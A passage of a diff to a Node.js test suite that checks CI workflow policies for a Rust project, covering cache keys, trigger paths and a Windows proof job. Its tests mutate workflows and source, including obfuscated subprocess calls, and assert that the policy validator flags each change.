step.with["restore-keys"].replace("${{ runner.os }}-cargo-stable-", "Windows-cargo-stable-"); + }], + ["all-feature fallback", job => { + const step = draftStep(job, "Restore Cargo inputs and output"); + step.with["restore-keys"] = step.with["restore-keys"].replace("-default-features-", "-all-features-"); + }], + ["source-proof fallback", job => { + const step = draftStep(job, "Restore Cargo inputs and output"); + step.with["restore-keys"] = step.with["restore-keys"].replace("-retrieval-contracts-", "-source-proof-"); + }], + ["manifest-free prior retrieval fallback", job => { + const step = draftStep(job, "Restore Cargo inputs and output"); + const keys = step.with["restore-keys"].trim().split("\n"); + keys[2] = keys[2].replace(`${cacheManifestIdentity}-`, ""); + step.with["restore-keys"] = keys.join("\n"); + }], + ["target-free prior draft fallback", job => { + const step = draftStep(job, "Restore Cargo inputs and output"); + const keys = step.with["restore-keys"].trim().split("\n"); + keys[1] = keys[1].replace("-${{ steps.rust-cache-key.outputs.target }}-", "-"); + step.with["restore-keys"] = keys.join("\n"); + }], + ["different restore path", job => { + const step = draftStep(job, "Restore Cargo inputs and output"); + step.with.path = step.with.path.replace("target", "target/release"); + }], + ["blocking restore", job => { + draftStep(job, "Restore Cargo inputs and output")["continue-on-error"] = false; + }], + ["matched-key save", job => { + draftStep(job, "Save Cargo inputs and output").with.key = "${{ steps.cargo-cache-restore.outputs.cache-matched-key }}"; + }], + ["promotion before complete proof", job => { + draftStep(job, "Save Cargo inputs and output").if = "steps.cargo-cache-restore.outputs.cache-hit != 'true'"; + }], + ["removed proof command", job => { + const step = draftStep(job, "Prove focused publication contracts"); + step.run = step.run.trim().split("\n").slice(0, -1).join("\n"); + }], + ["reordered proof commands", job => { + const step = draftStep(job, "Prove focused publication contracts"); + const commands = step.run.trim().split("\n"); + [commands[0], commands[1]] = [commands[1], commands[0]]; + step.run = commands.join("\n"); + }], + ["backgrounded Cargo command", job => { + const step = draftStep(job, "Check the workspace"); + step.run = `${step.run} &`; + }], + ["parallel Cargo commands", job => { + const step = draftStep(job, "Check the workspace"); + step.run = `${step.run} &\nwait`; + }], + ["reordered proof steps", job => { + const left = job.steps.findIndex(step => step.name === "Check the workspace"); + const right = job.steps.findIndex(step => step.name === "Lint workspace libraries"); + [job.steps[left], job.steps[right]] = [job.steps[right], job.steps[left]]; + }], + ["optional proof step", job => { + draftStep(job, "Lint workspace libraries")["continue-on-error"] = true; + }], + ["decoy cache step", job => { + const restore = draftStep(job, "Restore Cargo inputs and output"); + const decoy = structuredClone(restore); + decoy.name = "Decoy cache contract"; + restore.with.key = "decoy-primary"; + job.steps.push(decoy); + }], + ]; + + for (const [name, mutate] of mutations) { + await t.test(name, () => { + const candidate = draftSourceJob(); + mutate(candidate); + assert.notDeepEqual(draftSourcePolicyViolations(candidate, retrievalSourceJob()), []); + }); + } + + for (const [name, mutate] of [ + ["shortened producer timeout", job => { + job["timeout-minutes"] = 30; + }], + ["incompatible retrieval path", job => { + draftStep(job, "Restore Cargo registry, git sources, and build output").with.path = "~/.cargo/registry\ntarget/retrieval\n"; + }], + ["incompatible retrieval key", job => { + const step = draftStep(job, "Restore Cargo registry, git sources, and build output"); + step.with.key = step.with.key.replace("-default-features-", "-all-features-"); + }], + ["mismatched retrieval topology version", job => { + const step = draftStep(job, "Restore Cargo registry, git sources, and build output"); + step.with.key = step.with.key.replace(proofTopology, proofTopology.replace("-v1-", "-v2-")); + }], + ["manifest-free retrieval key", job => { + const step = draftStep(job, "Restore Cargo registry, git sources, and build output"); + step.with.key = step.with.key.replace(`${cacheManifestIdentity}-`, ""); + }], + ["incompatible retrieval action", job => { + draftStep(job, "Restore Cargo registry, git sources, and build output").uses = "actions/cache/restore@v4"; + }], + ["omitted seed target", job => { + const step = draftStep(job, "Seed draft proof test-profile artifacts"); + step.run = step.run.trim().split("\n").slice(1).join("\n"); + }], + ["reordered seed targets", job => { + const step = draftStep(job, "Seed draft proof test-profile artifacts"); + const commands = step.run.trim().split("\n"); + [commands[0], commands[1]] = [commands[1], commands[0]]; + step.run = commands.join("\n"); + }], + ["executable seed target", job => { + const step = draftStep(job, "Seed draft proof test-profile artifacts"); + step.run = step.run.replace(" --no-run", ""); + }], + ["optional seed step", job => { + draftStep(job, "Seed draft proof test-profile artifacts")["continue-on-error"] = true; + }], + ["save before seed", job => { + const seed = job.steps.findIndex(step => step.name === "Seed draft proof test-profile artifacts"); + const save = job.steps.findIndex(step => step.name === "Save Cargo registry, git sources, and build output"); + [job.steps[seed], job.steps[save]] = [job.steps[save], job.steps[seed]]; + }], + ["producer matched-key save", job => { + draftStep(job, "Save Cargo registry, git sources, and build output").with.key = "${{ steps.cargo-cache-restore.outputs.cache-matched-key }}"; + }], + ]) { + await t.test(name, () => { + const candidate = retrievalSourceJob(); + mutate(candidate); + assert.notDeepEqual(draftSourcePolicyViolations(draftSourceJob(), candidate), []); + }); + } +}); + +test("retrieval cache producer triggers cover every draft manifest consumer", async (t) => { + assert.deepEqual(retrievalProducerTriggerPolicyViolations(retrievalSourceWorkflow()), []); + + const reordered = retrievalSourceWorkflow(); + reordered.on.pull_request.paths.reverse(); + reordered.on.push.paths.reverse(); + assert.deepEqual( + retrievalProducerTriggerPolicyViolations(reordered), + [], + "required trigger membership is order-insensitive", + ); + + const requiredPaths = [ + "crates/**/Cargo.toml", + "vendor/**/Cargo.toml", + ".github/workflows/rust-ci.yml", + "scripts/lint-retrieval-generalization.mjs", + "scripts/lib/retrieval-generalization-lint.mjs", + "scripts/tests/lint-retrieval-generalization.test.mjs", + ]; + for (const event of ["pull_request", "push"]) { + for (const requiredPath of requiredPaths) { + await t.test(`${event} rejects removal of ${requiredPath}`, () => { + const candidate = retrievalSourceWorkflow(); + candidate.on[event].paths = candidate.on[event].paths + .filter(triggerPath => triggerPath !== requiredPath); + assert.notDeepEqual(retrievalProducerTriggerPolicyViolations(candidate), []); + const workflows = loadWorkflows(); + workflows.set(retrievalFile, candidate); + assert.match( + validateWorkflows(workflows).join("\n"), + /retrieval cache producer .* paths must cover/u, + ); + }); + } + } + + await t.test("push must retain the dev branch", () => { + const candidate = retrievalSourceWorkflow(); + candidate.on.push.branches = candidate.on.push.branches + .filter(branch => branch !== "dev/codestory-next"); + assert.notDeepEqual(retrievalProducerTriggerPolicyViolations(candidate), []); + const workflows = loadWorkflows(); + workflows.set(retrievalFile, candidate); + assert.match( + validateWorkflows(workflows).join("\n"), + /retrieval cache producer must run on dev\/codestory-next pushes/u, + ); + }); +}); + +test("retrieval smoke keeps the one-process generalization lane blocking", async (t) => { + assert.deepEqual(windowsManifestProofPolicyViolations(retrievalSourceWorkflow()), []); + + const mutations = [ + ["wrong Node version", workflow => { + workflow.jobs["linux-contracts"].steps + .find(({ uses }) => uses === "actions/setup-node@v5") + .with["node-version"] = "22"; + }, /must use blocking Node 24/u], + ["production smoke removed", workflow => { + workflow.jobs["linux-contracts"].steps = workflow.jobs["linux-contracts"].steps + .filter(({ name }) => name !== "Generalization lint (production paths)"); + }, /production paths.*exact blocking Node command/u], + ["hostile matrix replaced", workflow => { + draftStep( + workflow.jobs["linux-contracts"], + "Generalization lint hostile matrix", + ).run = "node --test scripts/tests/something-else.test.mjs"; + }, /hostile matrix.*exact blocking Node command/u], + ["hostile matrix made optional", workflow => { + draftStep( + workflow.jobs["linux-contracts"], + "Generalization lint hostile matrix", + )["continue-on-error"] = true; + }, /hostile matrix.*exact blocking Node command/u], + ["serialized Rust wrapper restored", workflow => { + workflow.jobs["linux-contracts"].steps.push({ + name: "Legacy generalization wrapper", + run: "cargo test --locked -p codestory-runtime --test retrieval_generalization_guard", + }); + }, /must not restore the serialized Rust subprocess wrapper/u], ]; - for (const [name, file, mutate, expectedReason] of mutations) { + for (const [name, mutate, expectedReason] of mutations) { await t.test(name, () => { + const candidate = retrievalSourceWorkflow(); + mutate(candidate); + const violations = windowsManifestProofPolicyViolations(candidate); + assert.match(violations.join("\n"), expectedReason); const workflows = loadWorkflows(); - mutate(workflows.get(file)); + workflows.set(retrievalFile, candidate); assert.match(validateWorkflows(workflows).join("\n"), expectedReason); }); } }); -test("standard release paths reject calibration plumbing", async (t) => { - assert.deepEqual(validateWorkflows(loadWorkflows()), []); +test("retrieval generalization fixture architecture rejects serialized regressions", async (t) => { + const suitePath = path.join( + root, + "scripts", + "tests", + "lint-retrieval-generalization.test.mjs", + ); + const source = readFileSync(suitePath, "utf8"); + assert.deepEqual(retrievalGeneralizationSuitePolicyViolations(source), []); + assert.equal( + rustRetrievalWrapperSourcePresent(` +use std::process::Command; +#[test] +fn renamed_guard() { + Command::new("node").arg("-e").arg("import('./scripts/lib/retrieval-generalization-lint.mjs')").status().unwrap(); +} +`), + true, + "a renamed Rust subprocess wrapper must remain detectable without the old filename or command", + ); const mutations = [ - ["auto-release forwards calibration", workflows => { - workflows.get("auto-release.yml").jobs.release.with.calibration_bundle_artifact - = "${{ vars.CODESTORY_CALIBRATION_BUNDLE_ARTIFACT }}"; - }, /auto-release\.yml standard release path must not reference calibration/u], - ["release accepts calibration input", workflows => { - workflows.get("release.yml").on.workflow_call.inputs.calibration_bundle_artifact = { - required: true, - type: "string", - }; - }, /release\.yml standard release path must not reference calibration/u], - ["release forwards calibration to package proof", workflows => { - workflows.get("release.yml").jobs["packaged-proof"].with.calibration_bundle_run_id - = "${{ inputs.calibration_bundle_run_id }}"; - }, /release\.yml standard release path must not reference calibration/u], - ["post-publish proof receives calibration", workflows => { - const step = draftStep( - workflows.get("post-publish-release-smoke.yml").jobs.smoke, - "Prove the catalog-resolved published runtime", - ); - step.run += '\n--calibration-bundle "$calibration_bundle"'; - }, /post-publish-release-smoke\.yml standard release path must not reference calibration/u], - ["accelerator cell claims calibration identity", workflows => { - const step = draftStep( - workflows.get("macos-metal-proof.yml").jobs["packaged-metal"], - "Emit authenticated Metal release cell", - ); - step.run += "\ncalibration_sha256=forged"; - }, /must not run calibration/u], + ["legacy Rust integration test returns", source, { + legacyWrapperPresent: true, + }, /must stay deleted so workspace nextest cannot rediscover/u], + ["per-fixture Node subprocess returns", `${source} +import { spawnSync as runFixture } from "node:child_process"; +runFixture(process.execPath, ["scripts/lint-retrieval-generalization.mjs"]); +`, {}, /must not create subprocesses, workers, or clusters/u], + ["indirect builtin subprocess loading returns", `${source} +process.getBuiltinModule("child" + "_process").spawnSync( + process.execPath, + ["scripts/lint-retrieval-generalization.mjs"], +); +`, {}, /must not create subprocesses, workers, or clusters/u], + ["bracketed process binding returns", `${source} +process["binding"]("spawn_sync"); +`, {}, /must not create subprocesses, workers, or clusters/u], + ["computed dynamic subprocess import returns", `${source} +await import("node:" + "child" + "_process"); +`, {}, /must not create subprocesses, workers, or clusters/u], + ["worker-per-fixture execution returns", `${source} +await import("node:worker_threads"); +`, {}, /must not create subprocesses, workers, or clusters/u], + ["matrix calls the lint twice", `${source} +runRetrievalGeneralizationLint({}); +`, {}, /through one in-process lint invocation/u], + ["matrix aliases the lint for a second invocation", source.replace( + " const result = runRetrievalGeneralizationLint({", + [ + " const invokeAgain = runRetrievalGeneralizationLint;", + " invokeAgain({});", + " const result = runRetrievalGeneralizationLint({", + ].join("\n"), + ), {}, /through one in-process lint invocation/u], + ["global file lock returns", `${source} +fs.openSync(path.join(os.tmpdir(), "retrieval-generalization.lock"), "wx"); +`, {}, /must not restore a global or cross-process fixture lock/u], + ["exclusive sibling lock through the fixture filesystem returns", source.replace( + " const productionRepositoryRoot = path.join(", + [ + ' const globalSentinel = path.join(path.dirname(fixtureRoot), "serial-token");', + ' fs.writeFileSync(globalSentinel, "", { flag: ["w", "x"].join("") });', + " fs.rmSync(globalSentinel, { force: true });", + " const productionRepositoryRoot = path.join(", + ].join("\n"), + ), {}, /confine every filesystem mutation/u], + ["second global temporary root returns", `${source} +const sharedRoot = fs.mkdtempSync(path.join(os.tmpdir(), "shared-suite-")); +fs.mkdirSync(path.join(sharedRoot, "sentinel")); +`, {}, /under one temporary tree outside the checkout/u], + ["second sibling temporary root returns", `${source} +const sharedRoot = fs.mkdtempSync(path.join(path.dirname(fixtureRoot), "shared-suite-")); +fs.mkdirSync(path.join(sharedRoot, "sentinel")); +`, {}, /under one temporary tree outside the checkout/u], + ["fixtures move into the checkout", source.replace( + 'fs.mkdtempSync(path.join(os.tmpdir(), "codestory-generalization-"))', + 'fs.mkdtempSync(path.join(repositoryRoot, "codestory-generalization-"))', + ), {}, /under one temporary tree outside the checkout/u], + ["checkout read-only comparison is removed", source.replace( + "const checkoutBefore = treeDigest(repositoryRoot);", + "const checkoutBefore = null;", + ), {}, /prove the real checkout is byte-for-byte read-only/u], + ["checkout read-only comparison is inverted", source.replace( + "assert.equal(\n treeDigest(repositoryRoot),\n checkoutBefore,", + "assert.notEqual(\n treeDigest(repositoryRoot),\n checkoutBefore,", + ), {}, /prove the real checkout is byte-for-byte read-only/u], + ["checkout is changed and restored before the final digest", source.replace( + " const checkoutBefore = treeDigest(repositoryRoot);", + [ + " const checkoutBefore = treeDigest(repositoryRoot);", + ' const transientCheckoutPath = path.join(repositoryRoot, ".policy-transient-fixture");', + ' fs.writeFileSync(transientCheckoutPath, "hostile");', + " fs.rmSync(transientCheckoutPath, { force: true });", + ].join("\n"), + ), {}, /confine every filesystem mutation/u], + ["additive Rust root is unregistered", source.replace( + "structuralScanRoots: [rustRoot, extraRustRoot],", + "structuralScanRoots: [rustRoot],", + ), {}, /register every additive hostile fixture root/u], + ["a fifth fixture root is planted without registration", source.replace( + " const productionRepositoryRoot = path.join(", + [ + ' const unregisteredRoot = path.join(fixtureRoot, "unregistered");', + ' write(unregisteredRoot, "ignored.rs", `pub const LEAK: &str = "createApplication";\\n`);', + " const productionRepositoryRoot = path.join(", + ].join("\n"), + ), {}, /confine every filesystem mutation/u], + ["fixture cleanup is removed", source.replace( + "fs.rmSync(fixtureRoot, { recursive: true, force: true });", + "", + ), {}, /remove its isolated fixture tree/u], ]; - for (const [name, mutate, expectedReason] of mutations) { + for (const [name, candidate, options, expectedReason] of mutations) { await t.test(name, () => { - const workflows = loadWorkflows(); - mutate(workflows); - assert.match(validateWorkflows(workflows).join("\n"), expectedReason); + assert.match( + retrievalGeneralizationSuitePolicyViolations(candidate, options).join("\n"), + expectedReason, + ); }); } }); -test("Cargo lock policy reads executable step commands", () => { - const workflow = parseWorkflow(` -on: { workflow_dispatch: null } -permissions: { contents: read } -jobs: - check: - timeout-minutes: 5 - steps: - - run: | - # cargo test --workspace - cargo test --workspace --locked -`); - assert.deepEqual(basicWorkflowViolations("fixture.yml", workflow), []); - - workflow.jobs.check.steps[0].run += "\ncargo check --workspace\n"; - assert.match(basicWorkflowViolations("fixture.yml", workflow).join("\n"), /must use --locked/u); -}); +test("Windows manifest-missing proof freezes routing, native topology, and exact cache identity", async (t) => { + assert.deepEqual(windowsManifestProofPolicyViolations(windowsManifestWorkflow()), []); -test("draft source cache reuse preserves exact serial proof structure", async (t) => { - assert.deepEqual(draftSourcePolicyViolations(draftSourceJob(), retrievalSourceJob()), []); + const keyStep = workflow => windowsManifestStep( + workflow, + "Restore Windows Cargo inputs and output", + ); + const proofStep = workflow => windowsManifestStep( + workflow, + "Prove Windows ready_command manifest-missing contract", + ); + const saveStep = workflow => windowsManifestStep( + workflow, + "Save Windows Cargo inputs and output", + ); + const installerHash = "${{ hashFiles('.github/scripts/install-windows-vulkan-sdk.ps1') }}"; + const lockHash = "${{ hashFiles('Cargo.lock') }}"; const mutations = [ - ["unversioned primary", job => { - const step = draftStep(job, "Restore Cargo inputs and output"); - step.with.key = step.with.key.replace("-draft-v2-", "-draft-"); + ["cloned Windows job routed on pull requests", workflow => { + const clone = structuredClone(windowsManifestJob(workflow)); + clone.if = "github.event_name == 'pull_request'"; + clone["continue-on-error"] = true; + workflow.jobs["windows-manifest-decoy"] = clone; + }, /must contain exactly linux-contracts and windows-manifest-missing jobs/u], + ["top-level build target", workflow => { + workflow.env = { CARGO_BUILD_TARGET: "x86_64-pc-windows-gnu" }; + }, /must not define top-level env/u], + ["top-level shell default", workflow => { + workflow.defaults = { run: { shell: "bash" } }; + }, /must not define top-level defaults/u], + ["top-level working-directory default", workflow => { + workflow.defaults = { run: { "working-directory": "crates/codestory-cli" } }; + }, /must not define top-level defaults/u], + ["pull request omits installer", workflow => { + workflow.on.pull_request.paths = workflow.on.pull_request.paths + .filter(triggerPath => triggerPath !== ".github/scripts/install-windows-vulkan-sdk.ps1"); }], - ["lock-only primary", job => { - const step = draftStep(job, "Restore Cargo inputs and output"); - step.with.key = step.with.key.replace(`${cacheManifestIdentity}-`, ""); + ["push omits installer", workflow => { + workflow.on.push.paths = workflow.on.push.paths + .filter(triggerPath => triggerPath !== ".github/scripts/install-windows-vulkan-sdk.ps1"); }], - ["mismatched proof topology", job => { - const step = draftStep(job, "Restore Cargo inputs and output"); - step.with.key = step.with.key.replace(proofTopology, proofTopology.replace("-v1-", "-v2-")); + ["dispatch inputs", workflow => { + workflow.on.workflow_dispatch = { inputs: { ref: { required: false, type: "string" } } }; }], - ["fallback order reversal", job => { - const step = draftStep(job, "Restore Cargo inputs and output"); - step.with["restore-keys"] = step.with["restore-keys"].trim().split("\n").reverse().join("\n"); + ["pull-request job routing", workflow => { + windowsManifestJob(workflow).if = "github.event_name == 'pull_request'"; }], - ["overbroad draft fallback", job => { - const step = draftStep(job, "Restore Cargo inputs and output"); - const keys = step.with["restore-keys"].trim().split("\n"); - keys[1] = "${{ runner.os }}-draft-v2-"; - step.with["restore-keys"] = keys.join("\n"); + ["label routing", workflow => { + windowsManifestJob(workflow).if = "contains(github.event.pull_request.labels.*.name, 'proof')"; }], - ["cross-platform fallback", job => { - const step = draftStep(job, "Restore Cargo inputs and output"); - step.with["restore-keys"] = step.with["restore-keys"].replace("${{ runner.os }}-cargo-stable-", "Windows-cargo-stable-"); + ["older runner", workflow => { + windowsManifestJob(workflow)["runs-on"] = "windows-2022"; }], - ["all-feature fallback", job => { - const step = draftStep(job, "Restore Cargo inputs and output"); - step.with["restore-keys"] = step.with["restore-keys"].replace("-default-features-", "-all-features-"); + ["longer timeout", workflow => { + windowsManifestJob(workflow)["timeout-minutes"] = 60; }], - ["source-proof fallback", job => { - const step = draftStep(job, "Restore Cargo inputs and output"); - step.with["restore-keys"] = step.with["restore-keys"].replace("-retrieval-contracts-", "-source-proof-"); + ["CPU permission removed", workflow => { + delete windowsManifestJob(workflow).env.CODESTORY_TEST_EMBED_ALLOW_CPU; }], - ["manifest-free prior retrieval fallback", job => { - const step = draftStep(job, "Restore Cargo inputs and output"); - const keys = step.with["restore-keys"].trim().split("\n"); - keys[2] = keys[2].replace(`${cacheManifestIdentity}-`, ""); - step.with["restore-keys"] = keys.join("\n"); + ["CPU permission disabled", workflow => { + windowsManifestJob(workflow).env.CODESTORY_TEST_EMBED_ALLOW_CPU = "0"; }], - ["target-free prior draft fallback", job => { - const step = draftStep(job, "Restore Cargo inputs and output"); - const keys = step.with["restore-keys"].trim().split("\n"); - keys[1] = keys[1].replace("-${{ steps.rust-cache-key.outputs.target }}-", "-"); - step.with["restore-keys"] = keys.join("\n"); + ["native generator removed", workflow => { + delete windowsManifestJob(workflow).env.CMAKE_GENERATOR; }], - ["different restore path", job => { - const step = draftStep(job, "Restore Cargo inputs and output"); - step.with.path = step.with.path.replace("target", "target/release"); + ["native generator changed to Visual Studio", workflow => { + windowsManifestJob(workflow).env.CMAKE_GENERATOR = "Visual Studio 18 2026"; }], - ["blocking restore", job => { - draftStep(job, "Restore Cargo inputs and output")["continue-on-error"] = false; + ["native generator moved to proof-step override", workflow => { + delete windowsManifestJob(workflow).env.CMAKE_GENERATOR; + proofStep(workflow).env = { CMAKE_GENERATOR: "Ninja" }; }], - ["matched-key save", job => { - draftStep(job, "Save Cargo inputs and output").with.key = "${{ steps.cargo-cache-restore.outputs.cache-matched-key }}"; + ["extra product feature environment", workflow => { + windowsManifestJob(workflow).env.CARGO_FEATURES = "cpu-only"; }], - ["promotion before complete proof", job => { - draftStep(job, "Save Cargo inputs and output").if = "steps.cargo-cache-restore.outputs.cache-hit != 'true'"; + ["job made optional", workflow => { + windowsManifestJob(workflow)["continue-on-error"] = true; }], - ["removed proof command", job => { - const step = draftStep(job, "Prove focused publication contracts"); - step.run = step.run.trim().split("\n").slice(0, -1).join("\n"); + ["checkout alternate ref", workflow => { + windowsManifestJob(workflow).steps[0].with = { ref: "main" }; }], - ["reordered proof commands", job => { - const step = draftStep(job, "Prove focused publication contracts"); - const commands = step.run.trim().split("\n"); - [commands[0], commands[1]] = [commands[1], commands[0]]; - step.run = commands.join("\n"); + ["installer removed", workflow => { + windowsManifestJob(workflow).steps = windowsManifestJob(workflow).steps + .filter(step => step.name !== "Install checksum-pinned Windows Vulkan SDK"); }], - ["backgrounded Cargo command", job => { - const step = draftStep(job, "Check the workspace"); - step.run = `${step.run} &`; + ["installer replaced", workflow => { + windowsManifestStep(workflow, "Install checksum-pinned Windows Vulkan SDK").run = "choco install vulkan-sdk"; }], - ["parallel Cargo commands", job => { - const step = draftStep(job, "Check the workspace"); - step.run = `${step.run} &\nwait`; + ["installer made optional", workflow => { + windowsManifestStep(workflow, "Install checksum-pinned Windows Vulkan SDK")["continue-on-error"] = true; }], - ["reordered proof steps", job => { - const left = job.steps.findIndex(step => step.name === "Check the workspace"); - const right = job.steps.findIndex(step => step.name === "Lint workspace libraries"); - [job.steps[left], job.steps[right]] = [job.steps[right], job.steps[left]]; + ["installer moved after proof", workflow => { + const job = windowsManifestJob(workflow); + const installer = job.steps.findIndex(step => step.name === "Install checksum-pinned Windows Vulkan SDK"); + const proof = job.steps.findIndex(step => step.name === "Prove Windows ready_command manifest-missing contract"); + [job.steps[installer], job.steps[proof]] = [job.steps[proof], job.steps[installer]]; }], - ["optional proof step", job => { - draftStep(job, "Lint workspace libraries")["continue-on-error"] = true; + ["CMake cache identity capture removed", workflow => { + const identity = windowsManifestStep(workflow, "Capture Rust cache identity"); + identity.run = identity.run.replace(/.*cmake.*\n/gu, ""); }], - ["decoy cache step", job => { - const restore = draftStep(job, "Restore Cargo inputs and output"); - const decoy = structuredClone(restore); - decoy.name = "Decoy cache contract"; - restore.with.key = "decoy-primary"; - job.steps.push(decoy); + ["Ninja cache identity capture removed", workflow => { + const identity = windowsManifestStep(workflow, "Capture Rust cache identity"); + identity.run = identity.run.replace(/.*ninja.*\n/gu, ""); + }], + ["unversioned proof topology", workflow => { + keyStep(workflow).with.key = keyStep(workflow).with.key + .replace(/ready-command-v2-[0-9a-f]{64}/u, "ready-command"); + }], + ["stale proof topology", workflow => { + keyStep(workflow).with.key = keyStep(workflow).with.key + .replace("ready-command-v2-", "ready-command-v1-"); + }], + ["generator-free cache", workflow => { + keyStep(workflow).with.key = keyStep(workflow).with.key + .replace("-generator-ninja", ""); + }], + ["CMake-free cache", workflow => { + keyStep(workflow).with.key = keyStep(workflow).with.key + .replace("-cmake-${{ steps.rust-cache-key.outputs.cmake }}", ""); + }], + ["Ninja-free cache", workflow => { + keyStep(workflow).with.key = keyStep(workflow).with.key + .replace("-ninja-${{ steps.rust-cache-key.outputs.ninja }}", ""); + }], + ["OS-free cache", workflow => { + keyStep(workflow).with.key = keyStep(workflow).with.key.replace("${{ runner.os }}-", ""); + }], + ["Rust-free cache", workflow => { + keyStep(workflow).with.key = keyStep(workflow).with.key + .replace("-${{ steps.rust-cache-key.outputs.version }}", ""); + }], + ["target-free cache", workflow => { + keyStep(workflow).with.key = keyStep(workflow).with.key + .replace("-${{ steps.rust-cache-key.outputs.target }}", ""); + }], + ["all-feature cache", workflow => { + keyStep(workflow).with.key = keyStep(workflow).with.key + .replace("-default-features-", "-all-features-"); + }], + ["manifest-free cache", workflow => { + keyStep(workflow).with.key = keyStep(workflow).with.key + .replace(`${cacheManifestIdentity}-`, ""); }], - ]; - - for (const [name, mutate] of mutations) { - await t.test(name, () => { - const candidate = draftSourceJob(); - mutate(candidate); - assert.notDeepEqual(draftSourcePolicyViolations(candidate, retrievalSourceJob()), []); - }); - } - - for (const [name, mutate] of [ - ["shortened producer timeout", job => { - job["timeout-minutes"] = 30; + ["installer-free cache", workflow => { + keyStep(workflow).with.key = keyStep(workflow).with.key.replace(`${installerHash}-`, ""); }], - ["incompatible retrieval path", job => { - draftStep(job, "Restore Cargo registry, git sources, and build output").with.path = "~/.cargo/registry\ntarget/retrieval\n"; + ["lock-free cache", workflow => { + keyStep(workflow).with.key = keyStep(workflow).with.key.replace(lockHash, "unlocked"); }], - ["incompatible retrieval key", job => { - const step = draftStep(job, "Restore Cargo registry, git sources, and build output"); - step.with.key = step.with.key.replace("-default-features-", "-all-features-"); + ["fallback cache prefix", workflow => { + keyStep(workflow).with["restore-keys"] = "Windows-cargo-stable-"; }], - ["mismatched retrieval topology version", job => { - const step = draftStep(job, "Restore Cargo registry, git sources, and build output"); - step.with.key = step.with.key.replace(proofTopology, proofTopology.replace("-v1-", "-v2-")); + ["alternate cache output", workflow => { + keyStep(workflow).with.path = "target/windows"; }], - ["manifest-free retrieval key", job => { - const step = draftStep(job, "Restore Cargo registry, git sources, and build output"); - step.with.key = step.with.key.replace(`${cacheManifestIdentity}-`, ""); + ["cache restore bypass", workflow => { + keyStep(workflow).if = "always()"; }], - ["incompatible retrieval action", job => { - draftStep(job, "Restore Cargo registry, git sources, and build output").uses = "actions/cache/restore@v4"; + ["unlocked proof", workflow => { + proofStep(workflow).run = proofStep(workflow).run.replace(" --locked", ""); }], - ["omitted seed target", job => { - const step = draftStep(job, "Seed draft proof test-profile artifacts"); - step.run = step.run.trim().split("\n").slice(1).join("\n"); + ["supplied-binary substitute", workflow => { + proofStep(workflow).run = "cargo test --locked -p codestory-cli --test ready_command --features supplied-binary"; }], - ["reordered seed targets", job => { - const step = draftStep(job, "Seed draft proof test-profile artifacts"); - const commands = step.run.trim().split("\n"); - [commands[0], commands[1]] = [commands[1], commands[0]]; - step.run = commands.join("\n"); + ["proof made optional", workflow => { + proofStep(workflow)["continue-on-error"] = true; }], - ["executable seed target", job => { - const step = draftStep(job, "Seed draft proof test-profile artifacts"); - step.run = step.run.replace(" --no-run", ""); + ["save before proof", workflow => { + const job = windowsManifestJob(workflow); + const proof = job.steps.findIndex(step => step.name === "Prove Windows ready_command manifest-missing contract"); + const save = job.steps.findIndex(step => step.name === "Save Windows Cargo inputs and output"); + [job.steps[proof], job.steps[save]] = [job.steps[save], job.steps[proof]]; }], - ["optional seed step", job => { - draftStep(job, "Seed draft proof test-profile artifacts")["continue-on-error"] = true; + ["save after failed proof", workflow => { + saveStep(workflow).if = "steps.cargo-cache-restore.outputs.cache-hit != 'true'"; }], - ["save before seed", job => { - const seed = job.steps.findIndex(step => step.name === "Seed draft proof test-profile artifacts"); - const save = job.steps.findIndex(step => step.name === "Save Cargo registry, git sources, and build output"); - [job.steps[seed], job.steps[save]] = [job.steps[save], job.steps[seed]]; + ["save exact hit", workflow => { + saveStep(workflow).if = "success()"; }], - ["producer matched-key save", job => { - draftStep(job, "Save Cargo registry, git sources, and build output").with.key = "${{ steps.cargo-cache-restore.outputs.cache-matched-key }}"; + ["save matched key", workflow => { + saveStep(workflow).with.key = "${{ steps.cargo-cache-restore.outputs.cache-matched-key }}"; }], - ]) { + ["save fallback input", workflow => { + saveStep(workflow).with["restore-keys"] = "Windows-cargo-stable-"; + }], + ["decoy proof", workflow => { + const decoy = structuredClone(proofStep(workflow)); + proofStep(workflow).run = "Write-Output skipped"; + decoy.name = "Decoy ready_command proof"; + windowsManifestJob(workflow).steps.push(decoy); + }], + ]; + + for (const [name, mutate, expectedReason = /Windows manifest proof/u] of mutations) { await t.test(name, () => { - const candidate = retrievalSourceJob(); + const candidate = windowsManifestWorkflow(); mutate(candidate); - assert.notDeepEqual(draftSourcePolicyViolations(draftSourceJob(), candidate), []); + const violations = windowsManifestProofPolicyViolations(candidate); + assert.notDeepEqual(violations, []); + assert.match(violations.join("\n"), expectedReason); + const workflows = loadWorkflows(); + workflows.set(retrievalFile, candidate); + assert.match( + validateWorkflows(workflows).join("\n"), + expectedReason, + ); }); } }); -test("retrieval cache producer triggers cover every draft manifest consumer", async (t) => { - assert.deepEqual(retrievalProducerTriggerPolicyViolations(retrievalSourceWorkflow()), []); +test("Windows source package builds pin Ninja and bind native tool identity", async (t) => { + assert.deepEqual(validateWorkflows(loadWorkflows()), []); - const reordered = retrievalSourceWorkflow(); - reordered.on.pull_request.paths.reverse(); - reordered.on.push.paths.reverse(); - assert.deepEqual( - retrievalProducerTriggerPolicyViolations(reordered), - [], - "required trigger membership is order-insensitive", + const packagedFile = "packaged-platform-proof.yml"; + const protectedFile = "windows-vulkan-proof.yml"; + const packagedIdentity = workflow => draftStep( + workflow.jobs.build, + "Capture reusable build cache contract", + ); + const packagedCacheSetup = workflow => draftStep( + workflow.jobs.build, + "Configure bounded compiler cache", + ); + const packagedBuild = workflow => draftStep( + workflow.jobs.build, + "Build package and qualification driver", + ); + const packagedShortTarget = workflow => draftStep( + workflow.jobs.build, + "Configure short Windows Cargo target", + ); + const protectedSourceTools = workflow => draftStep( + workflow.jobs["packaged-vulkan"], + "Capture source build tool evidence", ); + const protectedHost = workflow => draftStep( + workflow.jobs["packaged-vulkan"], + "Capture host evidence", + ); + const protectedPython = workflow => draftStep( + workflow.jobs["packaged-vulkan"], + "Install pinned Python", + ); + const protectedBuild = workflow => draftStep( + workflow.jobs["packaged-vulkan"], + "Build and package native CLI", + ); + + const mutations = [ + ["packaged CMake identity removed", packagedFile, workflow => { + packagedIdentity(workflow).run = packagedIdentity(workflow).run + .replace('--cmake-version "$cmake_version"', "--cmake ignored"); + }, /must compute one complete reusable compiler compatibility contract/u], + ["packaged Ninja identity removed", packagedFile, workflow => { + packagedIdentity(workflow).run = packagedIdentity(workflow).run + .replace('--ninja-version "$ninja_version"', "--ninja ignored"); + 